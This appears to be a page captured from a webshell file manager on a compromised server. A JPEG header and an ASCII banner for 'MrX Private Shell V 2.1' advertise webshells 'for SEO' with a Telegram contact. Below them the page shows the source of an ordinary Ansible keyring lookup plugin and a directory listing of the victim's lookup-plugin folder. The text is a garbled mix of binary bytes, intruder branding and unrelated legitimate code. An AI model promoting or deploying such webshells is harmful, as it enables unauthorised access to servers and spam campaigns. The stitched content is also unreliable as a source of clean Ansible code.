����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright (c) 2016, Samuel Boucher <boucher.samuel.c@gmail.com>
# Copyright (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
DOCUMENTATION = '''
name: keyring
author:
- Samuel Boucher (!UNKNOWN) <boucher.samuel.c@gmail.com>
requirements:
- keyring (python library)
short_description: grab secrets from the OS keyring
description:
- Allows you to access data stored in the OS provided keyring/keychain.
'''
EXAMPLES = """
- name: output secrets to screen (BAD IDEA)
ansible.builtin.debug:
msg: "Password: {{item}}"
with_community.general.keyring:
- 'servicename username'
- name: access mysql with password from keyring
community.mysql.mysql_db:
login_password: "{{ lookup('community.general.keyring', 'mysql joe') }}"
login_user: joe
"""
RETURN = """
_raw:
description: Secrets stored.
type: list
elements: str
"""
HAS_KEYRING = True
from ansible.errors import AnsibleError
from ansible.utils.display import Display
try:
import keyring
except ImportError:
HAS_KEYRING = False
from ansible.plugins.lookup import LookupBase
display = Display()
class LookupModule(LookupBase):
def run(self, terms, variables=None, **kwargs):
if not HAS_KEYRING:
raise AnsibleError(u"Can't LOOKUP(keyring): missing required python library 'keyring'")
self.set_options(var_options=variables, direct=kwargs)
display.vvvv(u"keyring: %s" % keyring.get_keyring())
ret = []
for term in terms:
(servicename, username) = (term.split()[0], term.split()[1])
display.vvvv(u"username: %s, servicename: %s " % (username, servicename))
password = keyring.get_password(servicename, username)
if password is None:
raise AnsibleError(u"servicename: %s for user %s not found" % (servicename, username))
ret.append(password.rstrip())
return ret
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| bitwarden.py | File | 5.74 KB | 0644 |
|
| cartesian.py | File | 2.72 KB | 0644 |
|
| chef_databag.py | File | 3.37 KB | 0644 |
|
| collection_version.py | File | 4.81 KB | 0644 |
|
| consul_kv.py | File | 6.68 KB | 0644 |
|
| credstash.py | File | 4.84 KB | 0644 |
|
| cyberarkpassword.py | File | 6.33 KB | 0644 |
|
| dependent.py | File | 8.79 KB | 0644 |
|
| dig.py | File | 17.84 KB | 0644 |
|
| dnstxt.py | File | 3.45 KB | 0644 |
|
| dsv.py | File | 4.38 KB | 0644 |
|
| etcd.py | File | 5.08 KB | 0644 |
|
| etcd3.py | File | 7.33 KB | 0644 |
|
| filetree.py | File | 7.27 KB | 0644 |
|
| flattened.py | File | 3.37 KB | 0644 |
|
| hiera.py | File | 2.8 KB | 0644 |
|
| keyring.py | File | 2.14 KB | 0644 |
|
| lastpass.py | File | 3.15 KB | 0644 |
|
| lmdb_kv.py | File | 3.74 KB | 0644 |
|
| manifold.py | File | 10.61 KB | 0644 |
|
| merge_variables.py | File | 6.92 KB | 0644 |
|
| onepassword.py | File | 22.14 KB | 0644 |
|
| onepassword_raw.py | File | 4.15 KB | 0644 |
|
| passwordstore.py | File | 20.61 KB | 0644 |
|
| random_pet.py | File | 2.85 KB | 0644 |
|
| random_string.py | File | 7.04 KB | 0644 |
|
| random_words.py | File | 3.72 KB | 0644 |
|
| redis.py | File | 3.44 KB | 0644 |
|
| revbitspss.py | File | 3.31 KB | 0644 |
|
| shelvefile.py | File | 2.95 KB | 0644 |
|
| tss.py | File | 9.17 KB | 0644 |
|